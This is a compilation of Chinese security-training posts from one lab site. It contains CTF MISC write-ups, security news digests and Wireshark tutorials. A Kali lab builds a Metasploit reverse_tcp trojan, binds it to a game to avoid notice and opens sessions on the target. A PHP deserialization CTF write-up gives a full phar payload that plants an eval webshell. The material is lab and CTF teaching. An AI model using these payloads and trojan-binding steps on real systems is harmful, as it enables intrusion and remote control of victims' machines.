CTF从入门到进阶之MISC
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
0x01:背景
CTF竞赛是安全圈喜闻乐见的竞赛模式,对于培养网络安全技术人才起到了很重要的作用。CTF起源于1996年DEFCON全球黑客大会,是Capture The Flag的简称。经过多年的发展,CTF这种比赛形式已经日益成熟。
CTF注重动手技能,深厚的理论功底厚积薄发,技术的卓越是建立在无数次训练的基础上,那么我们来看看有哪些不错的平台可以来用于比赛训练。
一般线上初选采用传统的夺旗赛模式,也就是在题目中设置一些标识,解题的目的就是为了找到标识并提交。通常包含的题目类型包括MISC、CRYPTO、PWN、REVERSE、WEB等。
MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。
CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。
PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。
REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。
WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。
本系列文章将会逐一介绍这五大传统类型的题目的攻略及经典题目的WriteUp,以此来帮助对信安感兴趣的小伙伴们通过CTF竞赛的方式更好地学习、掌握信息安全相关技能。
0x02MISC介绍
我们先从五大模块中的最有意思最好玩的一块开始说起,那就是MISC。
MISC,中文即杂项,包括隐写,数据还原,脑洞、社会工程、与信息安全相关的大数据等。
竞赛过程中解MISC时会涉及到各种脑洞,各种花式技巧,主要考察选手的快速理解、学习能力以及日常知识积累的广度、深度。
MISC这一块并不像PWN\REVERSE等需要深厚的理论基础,所以我们直接从经典题目开始入手。
0x03说明
0x04部分为WP,作为给小伙伴们提供结题思路之用,如果想获得好的训练效果,请先不要看0x04部分。前往文章开篇给出的链接下载题目自己先动手试试。
0x04CTF仿真题WP
1.紧急报文
密文都由ADFGX,百度一下,发现有个ADFGX密码
密码表如图
对应着解密即可
FA XX DD AG FF XG FD XG DD DG GA XF FA
flagxidianctf
提交:flag_Xd{hSh_ctf:flagxidianctf}
2.flag.xls先介绍最简单的方法
直接仍在winhex中然后查找flag关键字即可
别的方法也是半斤八两,因为打开xls它要密码,所以我们就用notepad或者notepad++打开都行,在搜索flag就行了
3.图片里的动漫
一张图片而已,果断拉到kali里binwalk
看到了ZIP
于是后缀改为.zip打开,得到flag.rar,需要密码,再次binwalk
发现.JPEG,于是改格式为.jpeg,打开发现是七龙珠的图片
题目提示是小写英文字母,七龙珠的英文是dragon ball,提示发现错误
考虑到图片是倒着的,所以答案也是倒着的,即逆序,得到答案
CTF{llabnogard}
4.Canon
下载后解压是一段mp3和一个压缩文件,压缩文件打不开先放着,我们先处理mp3
misc肯定会涉及到隐写,处理mp3的隐写一般使用mp3Stego,但是处理时需要密码,试试用标题Canon
打开文件夹,发现
打开txt,里面的就是前面的压缩文件的解压密码
解压后里面有个txt,目测是base64,但是这么长的base64让你解密是不合理的,所以考虑可能是某种类型的某件缺了些代码,补上后再按照相应的格式打开就行了
txt文件提示我们是png格式,所以直接后缀改为.png用winhex打开看看,发现没有明显的文件头
所以我们给它添加,这里直接用Python来,顺便生成最后的图片
import base64
def foo():
f=open(‘C:\Users\hasee\Downloads\mimimi\zip\pic_png.txt’).read()
fsave=open(‘pic.png’,’wb’)
addHeader=”89 50 4E 47 0D 0A 1A 0A”.replace(’ ‘,”).decode(‘hex’)
fsave.write(addHeader)
fsave.write(base64.b64decode(f))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘ok’
pass
打开生成后的图片得到答案
当然,非要base64解密也行,解密后把看上去干净点的代码复制到word里查找CTF就得到答案了
5.ROT-13变身了
rot-13作为置换暗码的一种都是数字怎么可能,所以应该想到ascii
题目提示回旋13,我们-13就行了
python中的chr可以自动转换,我们由此跑python
????表示为未知,给我们的MD5也查不出来,所以只能自己爆破了,爆破的思路大概就是:
?作为ASCII的可见字符,范围在32-126,有95种可能,四个????所以有95^4中可能,每种排列出来后再进行MD验证
由此思想来跑PYHTON
得出答案
6.解码磁带
只有字符’o’和下划线’‘,不免让我们想起二进制,只有0和1,却能表示所有信息,所以我们尝试用0,1替换o和
而究竟0对于o还是_呢?我们有例子可以得到
跑Python的思路是这样子的,换成二进制后再转换成ascii,然后相应解码即可,也可以参考这张图片
直接用二进制对应字母
python结果如下:
按照格式提交即可
7.功夫秘籍
下载来的是一个压缩包,打开它。。。我的天,居然打不开。扔到winhex看看,发现是png
本来想直接改成png的,但是想到改了之后还是要winhex,干脆直接搜索key,flag等关键字,找到了
目测base64,解码
目测栅栏,解码
提交时只需要提交{}里面的内容就行了
8.WTF?
打开一看一堆乱七八糟的东西,不过拉到最下面发现有=,base64解之
得到01的组合
数了一下有65536 = 256*256
正方形是吧
那么尝试组个正方形出来
作图的话processing挺好用
扫一扫就出来了
9.社交网络
下载来的压缩文件需要密码,爆破之
解压后得到文件,右键查看属性,得到flag
10.有趣的文件
最前面的8位是地址,不用管,后面的应该是文件头,百度afbc 1c27
看样子应该是.7z的压缩文件,不过给出的acsii里面没有37 7a,这就是缺少的,需要我们补上
,补上后发现什么文件也不是,问题出在哪里呢?
百度后发现每两位应该交换一下
这个任务太繁重了,本来还想这放在winhex里面手工的,这里直接Python 吧
def revStr(s):
news=””
for i in xrange(0,len(s),4):
news+=s[i+2:i+4]
news+=s[i:i+2]
return news
def foo():
f=open(‘funfile’)
s=”377a”
for line in f:
s+=revStr(line.strip()[8:].replace(’ ‘,”))
fsave=open(‘fun.7z’,’wb’)
fsave.write(s.decode(‘hex’))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘finished’
自动生成fun.7z压缩文件,解压后是一张阿狸的图片,拖进winhex看看,发现疑似flag的base64加密过的
复制后base64解码就行了
0x05结语
看到这儿,小伙伴们是不是觉得MISC很有意思呢,由于MISC的类型比较多,难免挂一漏万,不过我还是尽可能多地给小伙伴提供各种花式姿(知)势(识)。
MISC之路,漫漫其修远兮,且行且珍惜。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Kali渗透Windows服务器
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
这个实验主要让我们学习漏洞扫描技术基本原理,了解其在网络攻防中的作用,掌握使用Kali中的Metasploit对目标主机渗透,并根据报告做出相应的防护措施。
本次实战环境:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709525300001
实战步骤一
本实验通过利用kali进行漏洞扫描,使用Metasploit对目标主机进行渗透测试,并根据报告做出相应的防护措施,共分为3个实验步骤,详情如下;
1、 实战步骤一:生成setup.exe后门程序,即木马程序。
(1) 打开kali终端,输入ifconfig, 得到本机ip为192.168.189.130。
如下图:
(2)输入以下命令,使用msfpayload生成名为setup的后门程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.189.130 x > setup.exe 如下图:
(3) 进入setup.exe所在目录,修改属性:选择“允许以程序执行文件”。
如下图所示:
(4) 终端中输入首先msfconsole;然后输入use exploit/multi/handler来加载 exploit/multi/handler 模块;输入set LHOST 192.168.189.130来设置本地主机;然后输入exploit -z -j开始监听,如下图所示:
实战步骤二
将上面生成的木马程序与某个软件进行捆绑。
(1)可以在windows系统下使用exe捆绑软件将setup.exe和一个其他的某个安全软件合并为一个软件,这样在运行软件时两个软件同时运行,不会引起注意。在tools里面进入名为exekunbang的文件,先打开ExeBinder.exe捆绑软件。选择第一个要合并的软件,默认选择本软件中自带的小游戏程序:
点击下一步,选择第二个要捆绑的软件,即之前生成的木马程序setup.exe:
点击下一步,选择一个文件要保存的路径:
继续点击下一步,开始捆绑软件:
(2) 将捆绑后的软件发送给目标主机。
实战步骤三
检测目标主机,对目标主机进行渗透测试。
(2) 目标主机执行程序后,在kali终端中的检测程序会及时检测到。在检测到目标主机运行程序后,后门程序会反向连接到msf,之后msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)。输入sessionss:
可以看到目标主机的ip为192.168.189.129,
(2)再继续输入sessions -i 1,之后可以对目标主机进行一系列的操作。如输入sysinfo可知道目标主机的系统信息;输入 getuid查看对方正在运行的用户。
要养成多思考多总结的习惯,对实验结果多去分析,这样回收获更多。比如如何利用kali进行漏洞扫描;如何使用Metasploit对目标主机进行渗透测试;这些都是这次实战后可以去思考的。
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
网络安全日报 2021年02月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、黑客攻击了佛罗里达市一家城市自来水厂
https://www.securityweek.com/remote-hacker-caught-poisoning-florida-city-water-supply
2、Google推出开源软件漏洞数据库
https://www.securityweek.com/google-launches-database-open-source-vulnerabilities
3、新的网络钓鱼使用摩尔斯电码来隐藏恶意URL
https://securityaffairs.co/wordpress/114346/cyber-crime/hishing-technique-morse-code.html
4、Ziggy勒索软件已关闭其运营并释放了解密密钥
https://securityaffairs.co/wordpress/114340/malware/ziggy-ransomware-decryptor.html
5、研究人员开发出一种可以识别假新闻的方法
https://www.helpnetsecurity.com/2021/02/08/recognize-fake-news/
6、神秘的黑客组织破坏了多个斯里兰卡域名
https://www.zdnet.com/article/hacktivists-deface-multiple-sri-lankan-domains-including-google-lk/
7、NextGen Gallery插件漏洞可导致WordPress网站被接管
https://threatpost.com/critical-wordpress-plugin-flaw-site-takeover/163734/
8、微软警告针对Office 365 的OAuth网络钓鱼攻击增多
https://www.bleepingcomputer.com/news/security/microsoft-warns-of-increasing-oauth-office-365-phishing-attacks
9、Firefox 发布 85.0.1 版本更新修复一个高危漏洞
https://www.mozilla.org/en-US/security/advisories/mfsa2021-06/
10、RD Web Access被发现可以通过 Timing Attack 泄露用户名信息
https://raxis.com/blog/rd-web-access-vulnerability
wireshark之文件还原
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本文涉及相关实验:wireshark之文件还原 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014122315591000001
实验目标:
黑客A通过ARP欺骗,使用wireshark获取了整个局域网内的网络流量信息。无意之中,他发现有人在某个网站上上传了一份文件。但是他不知道怎么样通过wireshark去还原这份文件,没办法,他将监听到的数据包保存为了一份wireshark的监听记录,打算去向你请教。你能帮助他找到那份上传的文件吗?
我们的任务分为3个部分:
1. 对抓到的包进行显示过滤,找到关键信息。
2. 对信息进行跟踪,确定上传文件的TCP流,并保存为二进制原始文件。
3. 对文件中上传文件的信息进行处理,去掉多余的包头和包尾,得到原始文件。
1.1 实验任务一
任务描述:使用wireshark导入监听数据包,对数据进行显示过滤,提取出来关键信息。
1. 打开catchme.pcapng,双击即可。会发现数据记录一共有148条。如果单纯的从开始到结尾去一条一条的审计,是非常费力的事情。而且实际操作过程中,148条记录,已经算是很少的了。
2. 好在wireshark为我们提供了强大的过滤显示功能。我们在filter中可以定义显示出来什么样的数据包。
3. 从题目我们可以明确,上传时访问的是个网站,因此我们需要进行协议过滤。在filter中输入http,表示我们要显示所有使用http协议的数据包。输入回车,或者点击旁边的APPLY按钮,就可以进行显示过滤。
从图上下方我们可以看到,数据包由原来的148个变成了32个。这样就很容易帮我们分析了。
4. 仔细分析,我们会在末尾左右的第143条数据记录中的info中看到upload这个词,我们怀疑这条就是涉及到上传的数据包。
如果你在此之前有些编写网站的经验,就会知道上传文件提交可以使用post一个表单的形式。所以,你也可以使用包过滤显示,选出所有使用post方法提交的数据包。我们可以输入http.request.method==”POST”进行包过滤。这时候的显示如下:
看到了吧,这时候只显示了唯一一条记录,就是我们刚才找到的序号为143的记录,是不是快了很多啊。因此,掌握数据包过滤,是熟练掌握wireshark的必备技能之一。
1.2 实验任务二
任务描述:确定POST这条数据包是否上传了文件,若存在则将数据dump出来。
1. 虽然我们看到了有upload关键字,有post方法,但是我们不能确定是不是真的就是上传文件的那个请求。我们来分析一下。双击该行。弹出协议分析框。点击+号,将子栏展开。
我们可以看到,确实是上传了文件,而且文件名是bingo.png.原来他上传的是一张图片。在上方红色部分,我们可以看到由于文件比较大,TCP协议对其进行了切片,一共切了5个片。我们点击下方的各个Frame,就可以看到每个包中的内容。
问题来了,能不能将这几个切片还原成一个流式会话,这样我们就能看到一个会话过程,而不是需要一个一个的去点击。
Wireshark还真可以做到。
2. 关闭这个界面,回到我们过滤后的那个POST包,右键Follow TCP Stream
这时候我们会看到:
整个会话都被还原了出来。我们看到了png的原始信息。继续往下拉,我们会看到有关蓝色的显示,这是服务器给我们的回应。我们的图片信息保存在请求部分,因此可以过滤掉响应部分。
因为文件肯定比响应大,所以我们选择6010那个。这时候就没有响应部分出现了。
3. 保存原始文件,以便下一步处理。我们已经知道,请求部分中包含了文件的原始信息。因此,我们可以先保存下来,然后处理一下,得到原始文件。
我们选择raw类型进行保存,表示使用二进制形式保存文件。
保存为任意格式的文件,这里我们保存为temp.bin
1.3 实验任务三
任务描述:
使用winhex对文件进行最终处理,并保存文件。
1. 将刚才保存的temp.bin用winhex打开。
会看到,文中包含请求信息和我们的图片信息,以及文件结尾的尾部信息。我们需要做的事情是确定图片文件的原始信息头和尾,去掉多余部分。
2. 回到wireshark中,会看到我们刚才的tcp stream流中,关于图片的头部分
在content-type: image/x-png后面有两个换行符,然后开始我们的原始文件。换行符用十六进制表示是 0D 0A.因为有两个,所以,我们在图片附近寻找0D 0A 0D 0A.后面的部分就表示图片的开始。
3. 回到winhex中,我们找到了上述数字
这时候我们需要去掉图片以上的部分。在00000000偏移处点击alt+1,表示选块开始。
在我们找到的0D 0A 0D 0A处的最后一个0A处点击alt+2.表示选块结束。这时候,我们就选中了图片之前的多余部分。
按下delete键,选择yes。
这时候文件中的多余头部已经被删除
4.回到wireshark中,我们看看图片传送完毕之后的尾部部分。
我们可以看到,这次是一个换行符。后面有些文件结束标志-------------,我们同样删除它们。
这时候我们的文件中就仅仅是原始图片的内容了。Ctrl+S保存。
最激动人心的一步来了。将我们的temp.bin改为temp.png.打开看下:
祝贺你,已经完成了我们本次实验,拿下神秘的key。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
老赛棍寒假复习计划——反序列化篇(一)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
xnuca个人赛题目解析
复现环境:
链接:https://pan.baidu.com/s/1U_uDvgtzfFV165158xGE9A
提取码:7ryd
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
寒假难得有时间把这一年的比赛题目都好好整理一下,首先来的是xnuca个人赛的一道题目,比较新颖,属于中等难度的web phar写入和反序列化题目,貌似在其之后的DASCTF也考察了类似的知识点,因为时间实在久远,加上xnuca当时的一小部分源码实在是找不到了,就借用了DASCTF的部分代码来进行讲解,解题方式是一样的。
这道题目首先需要通过变量覆盖来利用file_get_contents读取template.php,然后通过template.php写入phar进行反序列化。
考点一:变量覆盖
首先是一个index.php
<?php
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
?>
extract变量覆盖。原理是:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。
正常的用法通常用于把数组的值转化为变量,就好像把数组一个个解压出来成为变量一样,是不是很像extract的意思:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
这样就会把数组$my_array里面的键值和对应键名组合成为一个变量,等同于再次赋值
以前ctf考察的点基本都是如下形式的变量覆盖:
extract($_GET);
关于这个地方变量覆盖的原理,就要提到一个很关键的基础知识点,$GET,$POST,$REQUEST这三个全局变量的类型是数组(不信的话自己var_dump一下),实际上我们通过get输入的变量名会成为$GET数组里的键名,输入的变量值会成为$GET里的键值,因此extract函数才会由我们的get输入接收到了$GET这个数组,从而产生了变量覆盖。
本题目的写法为:
extract($_GET['var'], EXTR_OVERWRITE);
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
这个地方乍一看好像是说$_GET['var']这个变量,而不是数组,但是之前也有考察过如果通过get或者post方式输入一个数组的ctf题(没错,就是绕过md5比较的php黑魔法),只要我们在get或者post输入的变量的后面加上[],就代表我们输入的是一个数组。
例如下面就代表我们输入了一个数组
http://IP?var[]=a
把$_GET变量全dump出来为:
array(1) { ["var"]=> array(1) { [0]=> string(1) "a" } }
说白了,就是把$_GET这个数组变量里键名为var的这个元组的键值设置为了一个数组,这个数组是:
array(1) { [0]=> string(1) "a" }
所以实际上我们还是可以通过题目中的
extract($_GET['var'], EXTR_OVERWRITE);
来进行变量覆盖。例如:
http://IP/?var[template][tp1]=aaa
这样就能将已经赋值过的template变量重新赋值为一个只含有一个元组且键名为tp1的数组
之前
array(3) {
["tp1"]=>
string(7) "tp1.tpl"
["tp2"]=>
string(7) "tp2.tpl"
["tp3"]=>
string(7) "tp3.tpl"
}
之后
array(1) {
["tp1"]=>
string(3) "aaa"
}
这里很多人有个误区:为啥不是单独覆盖template数组里的一个tp1,而是覆盖了全部呢?
因为?var[template][tp1]=aaa
等同于输入了
$template=array('tp1'=>'aaa');
而不是
$template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
所以是全部覆盖
我们看到第一个文件index.php里面还有一个file_get_contents,想到可以文件读取。
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
思路:
$template[$tp]为我们要读取的文件名
$_GET["tp"] ——> $tp可控
array_key_exists判断$tp在$template数组中是否存在
存在则读取$template[$tp]指向的文件
所以我们
?var#=文件名&tp=a
这样template数组就剩一个a,然后他的值为我们要读取的文件名,然后tp等于a,读取$template[$tp]所指向的文件,也就是$template['a'],即我们变量覆盖进去的文件名。
访问得到
u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html
访问一下路径看到template.php源码,这里file_get_content读取到的并不是直接显示,而是被template.php写入到了某个地方,但是这个算是第一步的提示,直接访问就看到了template.php的源码,读完以后也会更理解整个过程。
<?php
error_reporting(0);
class Temp {
public $suffix;
public $content;
public $pattern;
public function __construct($content) {
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
}
}
?>
最关键的方法是我们的render(因为另外两个一个是构造方法用来给三个属性赋值,一个是析构方法用来触发render)
他做了两件事情
模板变量替换
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
这一步的工作用一句话概括为:"用$content里匹配到的字符串的同名变量,来替换$content本身的内容"
可能乍一看看不懂,没事我们来分析:
也就是说,当你输入的内容里面含有{{([a-z]+)}}的时候,他会提取{{}}里面的字符串,然后去判断他是否为一个已经声明的全局变量,如果是的话则导入到方法中,并且用这个全局变量的值去替换$content的值。
例如搭建一个本地环境
当你输入http://ip?content={{a}},则返回如下结果
匹配输入,含有{{([a-z]+)}},其中$matches为
Array ( [0] => {{a}} [1] => a )
global用于将函数外部的一个全局变量导入函数内,题目中这句代码在render方法内,所以为了使用方法外的全局变量,得加一个global
global ${$matches[1]};
#探测外部是否有需要名字为$matches[1]的变量,
然后preg_replace将content里的$matches[1]给替换为那个变量的值
实际上这是个啥呢,就是我们很常见的模板变量替换,比如说你的前端有一个{{a}},然后你后端检测前端代码的时候,就拿后端的a变量的值替换这个{{a}}里面a所在的位置。类似flask那种模板变量替换。
说白了就是,这段代码或者这道题应该是某个真实的cms上的代码阉割的,然后出成题目,并保留了当时的部分冗余代码。所以才留下了这个模板替换。(就是没啥用的意思,逃:)
写入文件
render做的第二件事情就是写入文件
首先给出了一个限制:
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
这段代码保证了你写入的后缀不能超过5个字符,虽然没什么用。
真正写文件的的代码在这里:
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
这里思路
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。data://text/plain;base64,加上文件内容的base64编码
变量覆盖,然后file_get_content读取我们输入的data流,然后被写入
file_get_contents触发phar
phar文件:
<?php
class Temp {
public $suffix;
public $content;
public $pattern;
}
@unlink("phar.phar");
#固定老四句,除非你要修改phar文件头部,或者想压缩一个webshell,压缩的攻击通常用于lfi+phar
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
#实例化和修改属性的主要代码
$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval(\$_POST['cmd']); ";
$object->pattern="{{([a-z]+)}}";
#固定老两句
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
读取文件内容的base64可以用如下方式:
先php运行exp.php,生成phar.phar文件。
php -a 进入php交互式界面。
php > echo file_get_contents("php://filter/convert.base64-encode/resource=phar.phar");
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggia
然后url编码,因为=和+号在url里面不能直接用,会被当作有意义的字符
第一步
http://IP/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw%2FPWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAA
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html
第二步 通过file_get_contents触发phar
http://IP/?var[template][tp1]=phar://upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html&tp=tp1
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
第三步
http://IP/upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
就是写入的webshell
这题还可以用远程文件读取,把phar文件放在自己公网服务器上,然后让题目读取,就不用data://协议写入,因为file_get_contents没有限制不能读取外部文件
http://IP/?var[template][tp1]=http://IP/phar.phar&tp=tp1
但是xnuca他个人赛的时候没有网络,所以这个方法行不通,但是DASCTF可以用这个方法。
总的来说,难度适中,主要一个是知道他这里可以任意文件读取和读取以后直接写入这个是关键,phar倒是没有什么难度,如何在没有外网的情况下通过data://流写入是关键。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年02月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Google正在测试替代Cookies的新方法
https://www.securityweek.com/google-moves-away-diet-cookies-track-users
2、2020年ICS漏洞的数量比2019年增加24.72%
https://securityaffairs.co/wordpress/114302/ics-scada/ics-flaws-report-2.html
3、欧洲某些Nespresso咖啡机可被攻击无限金额购买咖啡
https://securityaffairs.co/wordpress/114314/hacking/nespresso-hack.html
4、美国两家医院的数万份详细医疗记录在暗网泄露
https://www.nbcnews.com/tech/security/hackers-post-detailed-patient-medical-records-two-hospitals-dark-web-n1256887
5、Contact Form 7 Style插件漏洞影响50K个网站
https://threatpost.com/unpatched-wordpress-plugin-code-injection/163706/
6、Otorio发布用于加固常用HMI / SCADA系统的开源工具
https://www.helpnetsecurity.com/2021/02/05/hardening-ge-cimplicity/
7、研究人员在多款Geeni/Merkury 摄像头和智能门铃中发现漏洞
https://www.cyberscoop.com/geeni-merkury-smart-doorbells-cameras-flaws-research/
8、巴西能源公司Eletrobras,Copel遭勒索软件攻击
https://www.bleepingcomputer.com/news/security/eletrobras-copel-energy-companies-hit-by-ransomware-attacks
9、安全人员发现Skype 存在“欺骗漏洞”可被用作社工攻击
https://portswigger.net/daily-swig/skype-spoofing-vulnerabilities-are-a-haven-for-social-engineering-attacks-security-researcher-claims
10、Spotify在三个月内遭第二次凭证填充攻击
https://threatpost.com/spotify-credential-stuffing-cyberattack/163672/
Wireshark数据抓包分析之HTTP协议
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
科普贴:
HTTP 是一个无状态的协议。无状态 是指客户端 (Web 浏览器)和 服务器之间不 需要建立持久的链接。这 意味着当一个客户端向服务器端发出请求,然后Web 服务器返回响应 ”*”(response) ,连接就被关闭了,在服务器端不保留连接的有关信息 .HTTP 遵 循请求 (Request)/ 应答 (Response) 模型。客户端(Web 浏览器) 向Web 服务器发送请求, Web 服务器处理请求并返回适当的应答。所有 HTTP 连 接都被构造成一套请求和应答。在 该过程中 要经过4 个 阶段,包括建立连接、发送请求信息、发送 响应信息和关闭连接,如下图所示:
下面 详细介绍上图中描述的HTTP 工作流程,如下
客户端 通过TCP 三次握手与服务器建立连接。
TCP 建立连接成功后,向 服务器发送HTTP 请求。
服务器 接收客户端的HTTP 请求后,将返回应答,并向客户端发送数据
客户端 通过TCP 四次断开,与服务器断开 TCP 连接。
在今天的实验中,我们将通过模拟局域网的两台机器之间的数据传输,配置好HFS软件,来抓取和分析HTTP数据。
根据实验环境,本实验的步骤如下:
1. 配置HFS 软件,获取 HTTP 的 GET数据和POST 数据
2. 分析HTTP数据包
实战步骤一 配置HFS软件,获取HTTP的GET数据和POST数据
在 局域网环境中,我们使用一个小工具来实现HTTP 服务器。先在 服务器上配置HFS
1 配置HFS软件
本地 解压,进入 文件夹,右键以管理员身份运行。如下
我们 先配置HFS ,这里能 达到我们的实验 要求,获取到GET 和 POST 数据包即可。点击左上角 的端口 ,输入 端口,这里我们用8080 , 如下,点击确定
在 虚拟文件系统区域,右键,选择“从磁盘 添加目录”, 选择一个真实 存在的目录(此处注意务必是真实存在的 ),弹出 的选择目录类型 中选择”真实 目录” ,此处 我们用桌面的解压缩目录, 可以看到目录 是红色的
右键 目录,点击设置”用户名及 密码”, 在弹出的对话框中输入 用户名和密码(demo/demo ), 点击 确定。
在右键 目录,点击”属性”, 选择”上传”sheet页 ,选中 任何人。点击确定,这样我们 就配置好了HFS 工具,可以在 客户端通过浏览器访问了。
2 获取HTTP的GET数据和POST数据
下面 我们在测试者 机器上,打开Wireshark 抓包工具, 过滤条件输入ip.addr == 10.1.1.33 ,然后输入服务器 中HFS给出 的网址,等待 服务器响应。成功 之后,可以在测试者机器的 浏览器上看到页面, 如下:
这时候, 我们已经获取 到了HTTP 的 GET 方法。 我们将Wireshark 获取的数据包保存为 HTTP-Get。
点击 页面的登录,在对话框中输入用户名密码(demo/demo ),确定 之后等待 服务器响应。成功 如下
接下来 ,双击页面的文件夹(等待 服务器响应), 同时重新启动Wireshark ,等 待页面刷新成功,
